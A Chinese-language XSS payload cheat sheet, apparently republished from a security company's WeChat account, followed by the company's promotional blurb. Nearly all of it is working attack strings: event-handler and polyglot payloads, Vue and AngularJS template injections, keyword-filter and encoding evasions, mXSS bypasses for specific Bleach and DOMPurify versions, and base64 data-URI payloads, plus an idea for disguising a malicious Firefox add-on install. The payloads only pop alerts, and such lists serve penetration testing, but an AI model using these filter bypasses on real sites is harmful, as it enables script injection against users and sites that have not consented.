标记属性分隔符
以下是在firefox和chrome中有效的分隔符的列表:
十进制值 |
url编码后 |
代替符号 |
47 |
%27 |
/ |
13 |
%0D |
回车 |
12 |
%0C |
换页 |
10 |
%0A |
换行 |
9 |
%09 |
水平制表符 |
<svg/onload=alert(1)><svg>
<svg
onload=alert(1)><svg>
<svg onload=alert(1)><svg>
<svgonload=alert(1)><svg>
基于JavaScript事件的XSS
标准HTML事件
(无需点击触发)
标签属性 |
支持标签 |
注释 |
Onload(负载) |
body, iframe, img, frameset, input, script, style, link, svg |
普遍过滤 |
onpageshow(事件在用户浏览网页时触发) |
body |
很容易触发,只在非DOM注入中可用 |
onfocus (点击发生,获得焦点) |
input, select, a |
点击触发,通常和autofocus =“”一起使用 |
Onerror(数据加载错误时触发) |
img, input, object, link, script, video, audio |
确保传递参数以使其失败:例如图片路径不存在时会发生 |
Onanimationstart(css动画开始) |
与任何可以动画化的元素结合 |
动画开始触发 |
Onanimationend(css动画结束) |
与任何可以动画化的元素结合 |
动画结束触发 |
onstart(文字滚动开始触发) |
marquee |
滚动特效开始 |
onfinish(文字滚动结束触发) |
marquee |
滚动特效结束 |
Ontoggle(details折叠事件触发) |
details |
Details 点击时触发 例如: |
特殊情况下HTMl事件
标签属性 |
支持标签 |
注释 |
onmessage(跨页面通信) |
大多数标签 |
postMessage通常用于绕过iframe限制并共享数据,因此,如果您的页面正在执行此操作,则可以使用onmessage来拦截消息并触发代码 |
onblur |
input, select, a |
当用户通过单击页面上的任何内容将焦点从注入的元素上移开时,只需单击一下即可设置autofocus =“” |
<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()"> (chrome & opera only)
HTML5多媒体事件
标签属性 |
适用标签 |
注释 |
onplay |
video, audio |
开始播放 |
onplaying |
video, audio |
暂停或者在缓冲后准备重新开始 |
oncanplay |
video, audio |
可以开始播放 |
onloadeddata |
video, audio |
懒得写看这吧 |
onloadedmetadata |
video, audio |
|
onprogress |
video, audio |
|
onloadstart |
video, audio |
|
oncanplay |
video, audio |
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
CSS
标签属性 |
标签 |
注释 |
Onmouseover(鼠标移动) |
大多数标签 |
鼠标经过,触发 |
Onclick(单击) |
大多数标签 |
鼠标点击触发 |
onanimationstart&onanimationend |
大多数标签 |
CSS 动画开始或结束的触发器,您可以在页面加载(0 键单击)上实现。 |
<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
奇异的XSS
不经常出现
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS多语种
我使用几个XSS,因为有时您只需要输入特定的字符,并且需要基于DOM或非DOM的字符。
不要100%依赖这些,因为有些情况下它们会失败,但是如果你正在进行数据注入测试,那么polyglot可以提供很好的覆盖率。
特定字符 |
适用范围 |
脚本 |
141 |
都可以 |
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//> |
88 |
非DOM |
"'--></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 |
DOM |
'"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 |
非DOM |
"'>-->*/</noscript></ti tle><script>alert()</script> |
42 |
DOM |
"'--></style></script><svg oNload=alert()> |
前端框架
VueJS
V3:
{{_openBlock.constructor('alert(1)')()}
V2:
{{constructor.constructor('alert(1)')()}
AngularJS:
{{constructor.constructor('alert(1)')()}}
Mavo:
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[''=''or self.alert(1)]
[Omglol mod 1 mod self.alert (1) andlol]
XSS 过滤器旁路
调用函数的JS模板文本
<svg onload=alert`1`></svg>
<script>alert`1`</script>
滥用HTML实体
仅适用于 HTML 注射,但如果将值直接注入脚本标记,则无法工作。这是因为解码发生在 HTML 解析器中,脚本标记之间的任何内容只需直接发送到 javacript 引擎,而无需解码。
可以使用三组不同的 HTML 实体进行编码,并随心所欲地将其组合在一起:命名()、十六进制()和十进制()。&plar; -> (&x28; -> (( -> (
<svg onload=alert(1)></svg>
<img src=x onerror="alert(1)">
<svg onload=alert(1)></svg>
<img src=x onerror=alert(1)>
<svg onload=alert(1)></svg>
受限字符集
这3个站点将把有效的JS转换,可以很好地绕过很多过滤器:
JSFuck-仅使用6个字符将任意javascript转换为可执行javascript。唯一的缺点是复杂的javascript执行时间可能会很长。
JSFck-JSFuck没有括号-与上面相同,但更多的限制字符集。
jjencode-加密。
arubesh.js-在JSFuck的顶部需要一些额外的字符,但是如果空间有限并且过滤松散,那么可能会很有用。
关键字过滤
避免关键字和特定字符
(alert)(1)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
alu0065rt`1`
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1)
构造字符串
数字到字符串
正则表达式:
/part1/.source+/part2/.source => 'part1part2
在字符串中使用字符进制
"x41" -> "A": 十六进制
"u0065" -> "A": unicode编码(值为十进制)
"101" -> "A": 八进制
其他转化
有时,正则表达式或其他定制的过滤器会区分大小写。然后,您可以只使用toLowerCase(),例如:
globalThis["aLeRt".toLowerCase()]
调用函数
alert`1` 模板语法
alert.apply(this,[1]):使用Function.prototype.apply
alert.call(this,1):使用Function.prototype.call
alert(1):显然是,但出于完整性考虑,将其包括在内。
[1].find(alert):使用谓词
[1].filter(alert):使用谓词
再利用和再循环
要查看已加载的内容!jQuery是一个简单的示例,但是任何足够复杂的框架都可能会有用。Wappalyzer或等效工具可以在这里提供帮助。
window.jQuery.globalEval("alert(1)")
$.globalEval("alert(1)")
mXSS和DOM破坏
XSS过滤器基本上不可能正确预测浏览器和交互库会突变HTML的每种方式,因此发生的事情是,您有时可以将XSS有效内容潜入其中,因为无效的HTML,而浏览器+清理程序会将其纠正为有效的HTML有效负载...绕过所有过滤。
旁路mXSS有效载荷
Bleach <=3.1.1
Bleach <=3.1.1
<noscript><style></noscript><img src=x onerror=alert(1)>
<svg><style><img src=x onerror=alert(1)></style></svg>
DOMPurify <2.1
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img	src=1	onerror=alert(1)>">
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]></mglyph><img	src=1	onerror=alert(1)>">
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=1 onerror=alert(1)>">
DOMPurify <2.0.1
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
双重编码
Char |
Double encoded |
< |
%253C |
> |
%253E |
( |
%2528 |
) |
%2529 |
" |
%2522 |
' |
%2527 |
URL过滤绕过
技术 |
例子 |
|
区分大小写 |
JaVaScript:alert(1) |
URL协议不区分大小写 |
某些INSIDE空格协议 |
javas cript:alert(1) |
选项卡(0x9),换行符(0xa)和回车符(0xd)可以在协议中的任何位置使用 |
协议前的空白 |
javascript:alert(1) |
可以在协议之前插入字符 x01- x20 |
oclon之前的一些空白AFTER协议 |
javascript : |
协议后允许在任意位置使用制表符(0x9),换行符(0xa)和回车符(0xd) |
哑剧类型开发
通过设置URL(例如,通过location.href或标签中的href字段)或其他方式强制浏览器加载数据,则可以执行javascript。在Firefox中,它们被视为与原始页面相同的域,但在Chrome中则不一样。无论如何,这可能会导致一些危险的结果,如下所述
如果您不熟悉,可以通过将这些有效负载粘贴到浏览器的URL中来对其进行测试。它们都只是发出警报('XSS'),但是如果您要谨慎的话,可以通过在有效负载上使用base64解码器来进行验证:data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Firefox only
data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+
不是XSS,而是考虑可以削弱破坏的其他mime类型。就像下面的示例一样,在Firefox中使用application / x-xpinstall提示用户安装插件…想象一下,如果有人用这种方法链接文本/ html来欺骗合法网站的外观,然后提示用户安装一个插件,那将是多么糟糕。可以访问其所有浏览器数据的插件?
仅限Firefox
data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>
来源:网路
关于我们:
北京路劲科技有限公司(Beijing Lujin Technology Co. , Ltd.)成立于2019年1月4日,是一家提供全面系统集成与信息安全解决方案的专业IT技术服务公司。公司秉承“为网络安全保驾护航”的企业愿景及“提升国家整体安全”的使命,依据风险评估模型和等级保护标准,采用大数据等技术手段,开展网络安全相关业务。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。公司立足北京,走向全国,始终坚持“换位、细节、感恩”的核心价值观,以“共赢、共享、共成长”的经营理念为出发点,集合了一批敢于创新、充满活力、热衷于为IT行业服务的优秀人才,致力于成为您身边的网络安全专家。
关注路劲科技,关注网络安全!
公司:北京路劲科技有限公司
地址:北京市昌平区南邵镇双营西路78号院2号楼5层504
本文始发于微信公众号(LSCteam):2021 XSS payload整理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论